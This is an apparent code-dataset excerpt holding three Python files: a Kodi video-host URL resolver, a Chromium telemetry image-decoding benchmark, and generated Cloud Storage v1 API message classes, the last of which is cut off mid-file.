repo_name
stringlengths
5
100
ref
stringlengths
12
67
path
stringlengths
4
244
copies
stringlengths
1
8
content
stringlengths
0
1.05M
huseyinbiyik/plugin.program.ump
refs/heads/master
lib/providers/video_url_cloudy.py
2
import re import urlparse def run(hash,ump,referer=None): src = ump.get_page("http://www.cloudy.ec/embed.php?id="+hash,"utf8") keys={} keys["file"]=re.findall('file: ?"(.*?)"',src)[0] keys["key"]=re.findall('key: ?"(.*?)"',src)[0] src = ump.get_page("http://www.cloudy.ec/api/player.api.php","utf8",query=keys) keys=urlparse.parse_qs(src) return {keys["title"][0]:keys["url"][0]}
sencha/chromium-spacewalk
refs/heads/master
tools/perf/measurements/image_decoding.py
4
# Copyright 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from metrics import power from telemetry.page import page_test from telemetry.timeline import model from telemetry.value import scalar class ImageDecoding(page_test.PageTest): def __init__(self): super(ImageDecoding, self).__init__() self._power_metric = None def CustomizeBrowserOptions(self, options): options.AppendExtraBrowserArgs('--enable-gpu-benchmarking') power.PowerMetric.CustomizeBrowserOptions(options) def WillStartBrowser(self, browser): self._power_metric = power.PowerMetric(browser) def WillNavigateToPage(self, page, tab): tab.ExecuteJavaScript(""" if (window.chrome && chrome.gpuBenchmarking && chrome.gpuBenchmarking.clearImageCache) { chrome.gpuBenchmarking.clearImageCache(); } """) self._power_metric.Start(page, tab) # FIXME: bare 'devtools' is for compatibility with older reference versions # only and may eventually be removed. # FIXME: Remove webkit.console when blink.console lands in chromium and # the ref builds are updated. crbug.com/386847 tab.browser.StartTracing( 'disabled-by-default-devtools.timeline*,' + 'devtools,webkit.console,blink.console') def StopBrowserAfterPage(self, browser, page): return not browser.tabs[0].ExecuteJavaScript(""" window.chrome && chrome.gpuBenchmarking && chrome.gpuBenchmarking.clearImageCache; """) def ValidateAndMeasurePage(self, page, tab, results): timeline_data = tab.browser.StopTracing() timeline_model = model.TimelineModel(timeline_data) self._power_metric.Stop(page, tab) self._power_metric.AddResults(tab, results) def _IsDone(): return tab.EvaluateJavaScript('isDone') decode_image_events = timeline_model.GetAllEventsOfName('Decode Image') # If it is a real image page, then store only the last-minIterations # decode tasks. if (hasattr(page, 'image_decoding_measurement_limit_results_to_min_iterations') and page.image_decoding_measurement_limit_results_to_min_iterations): assert _IsDone() min_iterations = tab.EvaluateJavaScript('minIterations') decode_image_events = decode_image_events[-min_iterations:] durations = [d.duration for d in decode_image_events] assert durations, 'Failed to find "Decode Image" trace events.' image_decoding_avg = sum(durations) / len(durations) results.AddValue(scalar.ScalarValue( results.current_page, 'ImageDecoding_avg', 'ms', image_decoding_avg, description='Average decode time for images in 4 different ' 'formats: gif, png, jpg, and webp. The image files are ' 'located at chrome/test/data/image_decoding.')) results.AddValue(scalar.ScalarValue( results.current_page, 'ImageLoading_avg', 'ms', tab.EvaluateJavaScript('averageLoadingTimeMs()'))) def CleanUpAfterPage(self, page, tab): if tab.browser.is_tracing_running: tab.browser.StopTracing()
Workday/OpenFrame
refs/heads/master
tools/telemetry/third_party/gsutilz/gslib/third_party/storage_apitools/storage_v1_messages.py
23
# Copyright 2014 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Generated message classes for storage version v1. Lets you store and retrieve potentially-large, immutable data objects. """ from protorpc import message_types from protorpc import messages from apitools.base.py import encoding from apitools.base.py import extra_types package = 'storage' class Bucket(messages.Message): """A bucket. Messages: CorsValueListEntry: A CorsValueListEntry object. LifecycleValue: The bucket's lifecycle configuration. See lifecycle management for more information. LoggingValue: The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. OwnerValue: The owner of the bucket. This is always the project team's owner group. VersioningValue: The bucket's versioning configuration. WebsiteValue: The bucket's website configuration. Fields: acl: Access controls on the bucket. cors: The bucket's Cross-Origin Resource Sharing (CORS) configuration. defaultObjectAcl: Default access controls to apply to new objects when no ACL is provided. etag: HTTP 1.1 Entity tag for the bucket. id: The ID of the bucket. kind: The kind of item this is. For buckets, this is always storage#bucket. lifecycle: The bucket's lifecycle configuration. See lifecycle management for more information. location: The location of the bucket. Object data for objects in the bucket resides in physical storage within this region. Defaults to US. See the developer's guide for the authoritative list. logging: The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. metageneration: The metadata generation of this bucket. name: The name of the bucket. owner: The owner of the bucket. This is always the project team's owner group. projectNumber: The project number of the project the bucket belongs to. selfLink: The URI of this bucket. storageClass: The bucket's storage class. This defines how objects in the bucket are stored and determines the SLA and the cost of storage. Values include STANDARD, NEARLINE and DURABLE_REDUCED_AVAILABILITY. Defaults to STANDARD. For more information, see storage classes. timeCreated: Creation time of the bucket in RFC 3339 format. versioning: The bucket's versioning configuration. website: The bucket's website configuration. """ class CorsValueListEntry(messages.Message): """A CorsValueListEntry object. Fields: maxAgeSeconds: The value, in seconds, to return in the Access-Control- Max-Age header used in preflight responses. method: The list of HTTP methods on which to include CORS response headers, (GET, OPTIONS, POST, etc) Note: "*" is permitted in the list of methods, and means "any method". origin: The list of Origins eligible to receive CORS response headers. Note: "*" is permitted in the list of origins, and means "any Origin". responseHeader: The list of HTTP headers other than the simple response headers to give permission for the user-agent to share across domains. """ maxAgeSeconds = messages.IntegerField(1, variant=messages.Variant.INT32) method = messages.StringField(2, repeated=True) origin = messages.StringField(3, repeated=True) responseHeader = messages.StringField(4, repeated=True) class LifecycleValue(messages.Message): """The bucket's lifecycle configuration. See lifecycle management for more information. Messages: RuleValueListEntry: A RuleValueListEntry object. Fields: rule: A lifecycle management rule, which is made of an action to take and the condition(s) under which the action will be taken. """ class RuleValueListEntry(messages.Message): """A RuleValueListEntry object. Messages: ActionValue: The action to take. ConditionValue: The condition(s) under which the action will be taken. Fields: action: The action to take. condition: The condition(s) under which the action will be taken. """ class ActionValue(messages.Message): """The action to take. Fields: type: Type of the action. Currently, only Delete is supported. """ type = messages.StringField(1) class ConditionValue(messages.Message): """The condition(s) under which the action will be taken. Fields: age: Age of an object (in days). This condition is satisfied when an object reaches the specified age. createdBefore: A date in RFC 3339 format with only the date part (for instance, "2013-01-15"). This condition is satisfied when an object is created before midnight of the specified date in UTC. isLive: Relevant only for versioned objects. If the value is true, this condition matches live objects; if the value is false, it matches archived objects. numNewerVersions: Relevant only for versioned objects. If the value is N, this condition is satisfied when there are at least N versions (including the live version) newer than this version of the object. """ age = messages.IntegerField(1, variant=messages.Variant.INT32) createdBefore = extra_types.DateField(2) isLive = messages.BooleanField(3) numNewerVersions = messages.IntegerField(4, variant=messages.Variant.INT32) action = messages.MessageField('ActionValue', 1) condition = messages.MessageField('ConditionValue', 2) rule = messages.MessageField('RuleValueListEntry', 1, repeated=True) class LoggingValue(messages.Message): """The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. Fields: logBucket: The destination bucket where the current bucket's logs should be placed. logObjectPrefix: A prefix for log object names. """ logBucket = messages.StringField(1) logObjectPrefix = messages.StringField(2) class OwnerValue(messages.Message): """The owner of the bucket. This is always the project team's owner group. Fields: entity: The entity, in the form project-owner-projectId. entityId: The ID for the entity. """ entity = messages.StringField(1) entityId = messages.StringField(2) class VersioningValue(messages.Message): """The bucket's versioning configuration. Fields: enabled: While set to true, versioning is fully enabled for this bucket. """ enabled = messages.BooleanField(1) class WebsiteValue(messages.Message): """The bucket's website configuration. Fields: mainPageSuffix: Behaves as the bucket's directory index where missing objects are treated as potential directories. notFoundPage: The custom object to return when a requested resource is not found. """ mainPageSuffix = messages.StringField(1) notFoundPage = messages.StringField(2) acl = messages.MessageField('BucketAccessControl', 1, repeated=True) cors = messages.MessageField('CorsValueListEntry', 2, repeated=True) defaultObjectAcl = messages.MessageField('ObjectAccessControl', 3, repeated=True) etag = messages.StringField(4) id = messages.StringField(5) kind = messages.StringField(6, default=u'storage#bucket') lifecycle = messages.MessageField('LifecycleValue', 7) location = messages.StringField(8) logging = messages.MessageField('LoggingValue', 9) metageneration = messages.IntegerField(10) name = messages.StringField(11) owner = messages.MessageField('OwnerValue', 12) projectNumber = messages.IntegerField(13, variant=messages.Variant.UINT64) selfLink = messages.StringField(14) storageClass = messages.StringField(15) timeCreated = message_types.DateTimeField(16) versioning = messages.MessageField('VersioningValue', 17) website = messages.MessageField('WebsiteValue', 18) class BucketAccessControl(messages.Message): """An access-control entry. Messages: ProjectTeamValue: The project team associated with the entity, if any. Fields: bucket: The name of the bucket. domain: The domain associated with the entity, if any. email: The email address associated with the entity, if any. entity: The entity holding the permission, in one of the following forms: - user-userId - user-email - group-groupId - group-email - domain- domain - project-team-projectId - allUsers - allAuthenticatedUsers Examples: - The user liz@example.com would be user-liz@example.com. - The group example@googlegroups.com would be group- example@googlegroups.com. - To refer to all members of the Google Apps for Business domain example.com, the entity would be domain-example.com. entityId: The ID for the entity, if any. etag: HTTP 1.1 Entity tag for the access-control entry. id: The ID of the access-control entry. kind: The kind of item this is. For bucket access control entries, this is always storage#bucketAccessControl. projectTeam: The project team associated with the entity, if any. role: The access permission for the entity. Can be READER, WRITER, or OWNER. selfLink: The link to this access-control entry. """ class ProjectTeamValue(messages.Message): """The project team associated with the entity, if any. Fields: projectNumber: The project number. team: The team. Can be owners, editors, or viewers. """ projectNumber = messages.StringField(1) team = messages.StringField(2) bucket = messages.StringField(1) domain = messages.StringField(2) email = messages.StringField(3) entity = messages.StringField(4) entityId = messages.StringField(5) etag = messages.StringField(6) id = messages.StringField(7) kind = messages.StringField(8, default=u'storage#bucketAccessControl') projectTeam = messages.MessageField('ProjectTeamValue', 9) role = messages.StringField(10) selfLink = messages.StringField(11) class BucketAccessControls(messages.Message): """An access-control list. Fields: items: The list of items. kind: The kind of item this is. For lists of bucket access control entries, this is always storage#bucketAccessControls. """ items = messages.MessageField('BucketAccessControl', 1, repeated=True) kind = messages.StringField(2, default=u'storage#bucketAccessControls') class Buckets(messages.Message): """A list of buckets. Fields: items: The list of items. kind: The kind of item this is. For lists of buckets, this is always storage#buckets. nextPageToken: The continuation token, used to page through large result sets. Provide this value in a subsequent request to return the next page of results. """ items = messages.MessageField('Bucket', 1, repeated=True) kind = messages.StringField(2, default=u'storage#buckets') nextPageToken = messages.StringField(3) class Channel(messages.Message): """An notification channel used to watch for resource changes. Messages: ParamsValue: Additional parameters controlling delivery channel behavior. Optional. Fields: address: The address where notifications are delivered for this channel. expiration: Date and time of notification channel expiration, expressed as a Unix timestamp, in milliseconds. Optional. id: A UUID or similar unique string that identifies this channel. kind: Identifies this as a notification channel used to watch for changes to a resource. Value: the fixed string "api#channel". params: Additional parameters controlling delivery channel behavior. Optional. payload: A Boolean value to indicate whether payload is wanted. Optional. resourceId: An opaque ID that identifies the resource being watched on this channel. Stable across different API versions. resourceUri: A version-specific identifier for the watched resource. token: An arbitrary string delivered to the target address with each notification delivered over this channel. Optional. type: The type of delivery mechanism used for this channel. """ @encoding.MapUnrecognizedFields('additionalProperties') class ParamsValue(messages.Message): """Additional parameters controlling delivery channel behavior. Optional. Messages: AdditionalProperty: An additional property for a ParamsValue object. Fields: additionalProperties: Declares a new parameter by name. """ class AdditionalProperty(messages.Message): """An additional property for a ParamsValue object. Fields: key: Name of the additional property. value: A string attribute. """ key = messages.StringField(1) value = messages.StringField(2) additionalProperties = messages.MessageField('AdditionalProperty', 1, repeated=True) address = messages.StringField(1) expiration = messages.IntegerField(2) id = messages.StringField(3) kind = messages.StringField(4, default=u'api#channel') params = messages.MessageField('ParamsValue', 5) payload = messages.BooleanField(6) resourceId = messages.StringField(7) resourceUri = messages.StringField(8) token = messages.StringField(9) type = messages.StringField(10) class ComposeRequest(messages.Message): """A Compose request. Messages: SourceObjectsValueListEntry: A SourceObjectsValueListEntry object. Fields: destination: Properties of the resulting object. kind: The kind of item this is. sourceObjects: The list of source objects that will be concatenated into a single object. """ class SourceObjectsValueListEntry(messages.Message): """A SourceObjectsValueListEntry object. Messages: ObjectPreconditionsValue: Conditions that must be met for this operation to execute. Fields: generation: The generation of this object to use as the source. name: The source object's name. The source object's bucket is implicitly the destination bucket. objectPreconditions: Conditions that must be met for this operation to execute. """ class ObjectPreconditionsValue(messages.Message): """Conditions that must be met for this operation to execute. Fields: ifGenerationMatch: Only perform the composition if the generation of the source object that would be used matches this value. If this value and a generation are both specified, they must be the same value or the call will fail. """ ifGenerationMatch = messages.IntegerField(1) generation = messages.IntegerField(1) name = messages.StringField(2) objectPreconditions = messages.MessageField('ObjectPreconditionsValue', 3) destination = messages.MessageField('Object', 1) kind = messages.StringField(2, default=u'storage#composeRequest') sourceObjects = messages.MessageField('SourceObjectsValueListEntry', 3, repeated=True) class Object(messages.Message): """An object. Messages: MetadataValue: User-provided metadata, in key/value pairs. OwnerValue: The owner of the object. This will always be the uploader of the object. Fields: acl: Access controls on the object. bucket: The name of the bucket containing this object. cacheControl: Cache-Control directive for the object data. componentCount: Number of underlying components that make up this object. Components are accumulated by compose operations. contentDisposition: Content-Disposition of the object data. contentEncoding: Content-Encoding of the object data. contentLanguage: Content-Language of the object data. contentType: Content-Type of the object data. crc32c: CRC32c checksum, as described in RFC 4960, Appendix B; encoded using base64. etag: HTTP 1.1 Entity tag for the object. generation: The content generation of this object. Used for object versioning. id: The ID of the object. kind: The kind of item this is. For objects, this is always storage#object. md5Hash: MD5 hash of the data; encoded using base64. mediaLink: Media download link. metadata: User-provided metadata, in key/value pairs. metageneration: The version of the metadata for this object at this generation. Used for preconditions and for detecting changes in metadata. A metageneration number is only meaningful in the context of a particular generation of a particular object. name: The name of this object. Required if not specified by URL parameter. owner: The owner of the object. This will always be the uploader of the object. selfLink: The link to this object. size: Content-Length of the data in bytes. storageClass: Storage class of the object. timeDeleted: The deletion time of the object in RFC 3339 format. Will be returned if and only if this version of the object has been deleted. updated: The creation or modification time of the object in RFC 3339 format. For buckets with versioning enabled, changing an object's metadata does not change this property. """ @encoding.MapUnrecognizedFields('additionalProperties') class MetadataValue(messages.Message): """User-provided metadata, in key/value pairs. Messages: AdditionalProperty: An additional property for a MetadataValue object. Fields: additionalProperties: An individual metadata entry. """ class AdditionalProperty(messages.Message): """An additional property for a MetadataValue object. Fields: key: Name of the additional property. value: A string attribute. """ key = messages.StringField(1) value = messages.StringField(2) additionalProperties = messages.MessageField('AdditionalProperty', 1, repeated=True) class OwnerValue(messages.Message): """The owner of the object. This will always be the uploader of the object. Fields: entity: The entity, in the form user-userId. entityId: The ID for the entity. """ entity = messages.StringField(1) entityId = messages.StringField(2) acl = messages.MessageField('ObjectAccessControl', 1, repeated=True) bucket = messages.StringField(2) cacheControl = messages.StringField(3) componentCount = messages.IntegerField(4, variant=messages.Variant.INT32) contentDisposition = messages.StringField(5) contentEncoding = messages.StringField(6) contentLanguage = messages.StringField(7) contentType = messages.StringField(8) crc32c = messages.StringField(9) etag = messages.StringField(10) generation = messages.IntegerField(11) id = messages.StringField(12) kind = messages.StringField(13, default=u'storage#object') md5Hash = messages.StringField(14) mediaLink = messages.StringField(15) metadata = messages.MessageField('MetadataValue', 16) metageneration = messages.IntegerField(17) name = messages.StringField(18) owner = messages.MessageField('OwnerValue', 19) selfLink = messages.StringField(20) size = messages.IntegerField(21, variant=messages.Variant.UINT64) storageClass = messages.StringField(22) timeDeleted = message_types.DateTimeField(23) updated = message_types.DateTimeField(24) class ObjectAccessControl(messages.Message): """An access-control entry. Messages: ProjectTeamValue: The project team associated with the entity, if any. Fields: bucket: The name of the bucket. domain: The domain associated with the entity, if any. email: The email address associated with the entity, if any. entity: The entity holding the permission, in one of the following forms: - user-userId - user-email - group-groupId - group-email - domain- domain - project-team-projectId - allUsers - allAuthenticatedUsers Examples: - The user liz@example.com would be user-liz@example.com. - The group example@googlegroups.com would be group- example@googlegroups.com. - To refer to all members of the Google Apps for Business domain example.com, the entity would be domain-example.com. entityId: The ID for the entity, if any. etag: HTTP 1.1 Entity tag for the access-control entry. generation: The content generation of the object. id: The ID of the access-control entry. kind: The kind of item this is. For object access control entries, this is always storage#objectAccessControl. object: The name of the object. projectTeam: The project team associated with the entity, if any. role: The access permission for the entity. Can be READER or OWNER. selfLink: The link to this access-control entry. """ class ProjectTeamValue(messages.Message): """The project team associated with the entity, if any. Fields: projectNumber: The project number. team: The team. Can be owners, editors, or viewers. """ projectNumber = messages.StringField(1) team = messages.StringField(2) bucket = messages.StringField(1) domain = messages.StringField(2) email = messages.StringField(3) entity = messages.StringField(4) entityId = messages.StringField(5) etag = messages.StringField(6) generation = messages.IntegerField(7) id = messages.StringField(8) kind = messages.StringField(9, default=u'storage#objectAccessControl') object = messages.StringField(10) projectTeam = messages.MessageField('ProjectTeamValue', 11) role = messages.StringField(12) selfLink = messages.StringField(13) class ObjectAccessControls(messages.Message): """An access-control list. Fields: items: The list of items. kind: The kind of item this is. For lists of object access control entries, this is always storage#objectAccessControls. """ items = messages.MessageField('extra_types.JsonValue', 1, repeated=True) kind = messages.StringField(2, default=u'storage#objectAccessControls') class Objects(messages.Message): """A list of objects. Fields: items: The list of items. kind: The kind of item this is. For lists of objects, this is always storage#objects. nextPageToken: The continuation token, used to page through large result sets. Provide this value in a subsequent request to return the next page of results. prefixes: The list of prefixes of objects matching-but-not-listed up to and including the requested delimiter. """ items = messages.MessageField('Object', 1, repeated=True) kind = messages.StringField(2, default=u'storage#objects') nextPageToken = messages.StringField(3) prefixes = messages.StringField(4, repeated=True) class RewriteResponse(messages.Message): """A Rewrite response. Messages: ResourceValue: A ResourceValue object. Fields: done: A boolean attribute. kind: The kind of item this is. objectSize: A string attribute. resource: A Object attribute. rewriteToken: A string attribute. totalBytesRewritten: A string attribute. """ done = messages.BooleanField(1) kind = messages.StringField(2, default=u'storage#rewriteResponse') objectSize = messages.IntegerField(3, variant=messages.Variant.UINT64) resource = messages.MessageField('Object', 4) rewriteToken = messages.StringField(5) totalBytesRewritten = messages.IntegerField(6, variant=messages.Variant.UINT64) class StandardQueryParameters(messages.Message): """Query parameters accepted by all methods. Enums: AltValueValuesEnum: Data format for the response. Fields: alt: Data format for the response. fields: Selector specifying which fields to include in a partial response. key: API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token. oauth_token: OAuth 2.0 token for the current user. prettyPrint: Returns response with indentations and line breaks. quotaUser: Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters. Overrides userIp if both are provided. trace: A tracing token of the form "token:<tokenid>" or "email:<ldap>" to include in api requests. userIp: IP address of the site where the request originates. Use this if you want to enforce per-user limits. """ class AltValueValuesEnum(messages.Enum): """Data format for the response. Values: json: Responses with Content-Type of application/json """ json = 0 alt = messages.EnumField('AltValueValuesEnum', 1, default=u'json') fields = messages.StringField(2) key = messages.StringField(3) oauth_token = messages.StringField(4) prettyPrint = messages.BooleanField(5, default=True) quotaUser = messages.StringField(6) trace = messages.StringField(7) userIp = messages.StringField(8) class StorageBucketAccessControlsDeleteRequest(messages.Message): """A StorageBucketAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) class StorageBucketAccessControlsDeleteResponse(messages.Message): """An empty StorageBucketAccessControlsDelete response.""" class StorageBucketAccessControlsGetRequest(messages.Message): """A StorageBucketAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) class StorageBucketAccessControlsListRequest(messages.Message): """A StorageBucketAccessControlsListRequest object. Fields: bucket: Name of a bucket. """ bucket = messages.StringField(1, required=True) class StorageBucketsDeleteRequest(messages.Message): """A StorageBucketsDeleteRequest object. Fields: bucket: Name of a bucket. ifMetagenerationMatch: If set, only deletes the bucket if its metageneration matches this value. ifMetagenerationNotMatch: If set, only deletes the bucket if its metageneration does not match this value. """ bucket = messages.StringField(1, required=True) ifMetagenerationMatch = messages.IntegerField(2) ifMetagenerationNotMatch = messages.IntegerField(3) class StorageBucketsDeleteResponse(messages.Message): """An empty StorageBucketsDelete response.""" class StorageBucketsGetRequest(messages.Message): """A StorageBucketsGetRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of a bucket. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) ifMetagenerationMatch = messages.IntegerField(2) ifMetagenerationNotMatch = messages.IntegerField(3) projection = messages.EnumField('ProjectionValueValuesEnum', 4) class StorageBucketsInsertRequest(messages.Message): """A StorageBucketsInsertRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. Fields: bucket: A Bucket resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. project: A valid API project identifier. projection: Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = messages.MessageField('Bucket', 1) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 2) predefinedDefaultObjectAcl = messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 3) project = messages.StringField(4, required=True) projection = messages.EnumField('ProjectionValueValuesEnum', 5) class StorageBucketsListRequest(messages.Message): """A StorageBucketsListRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: maxResults: Maximum number of buckets to return. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to buckets whose names begin with this prefix. project: A valid API project identifier. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 maxResults = messages.IntegerField(1, variant=messages.Variant.UINT32) pageToken = messages.StringField(2) prefix = messages.StringField(3) project = messages.StringField(4, required=True) projection = messages.EnumField('ProjectionValueValuesEnum', 5) class StorageBucketsPatchRequest(messages.Message): """A StorageBucketsPatchRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of a bucket. bucketResource: A Bucket resource to be passed as the request body. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) bucketResource = messages.MessageField('Bucket', 2) ifMetagenerationMatch = messages.IntegerField(3) ifMetagenerationNotMatch = messages.IntegerField(4) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 5) predefinedDefaultObjectAcl = messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 6) projection = messages.EnumField('ProjectionValueValuesEnum', 7) class StorageBucketsUpdateRequest(messages.Message): """A StorageBucketsUpdateRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of a bucket. bucketResource: A Bucket resource to be passed as the request body. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) bucketResource = messages.MessageField('Bucket', 2) ifMetagenerationMatch = messages.IntegerField(3) ifMetagenerationNotMatch = messages.IntegerField(4) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 5) predefinedDefaultObjectAcl = messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 6) projection = messages.EnumField('ProjectionValueValuesEnum', 7) class StorageChannelsStopResponse(messages.Message): """An empty StorageChannelsStop response.""" class StorageDefaultObjectAccessControlsDeleteRequest(messages.Message): """A StorageDefaultObjectAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) class StorageDefaultObjectAccessControlsDeleteResponse(messages.Message): """An empty StorageDefaultObjectAccessControlsDelete response.""" class StorageDefaultObjectAccessControlsGetRequest(messages.Message): """A StorageDefaultObjectAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) class 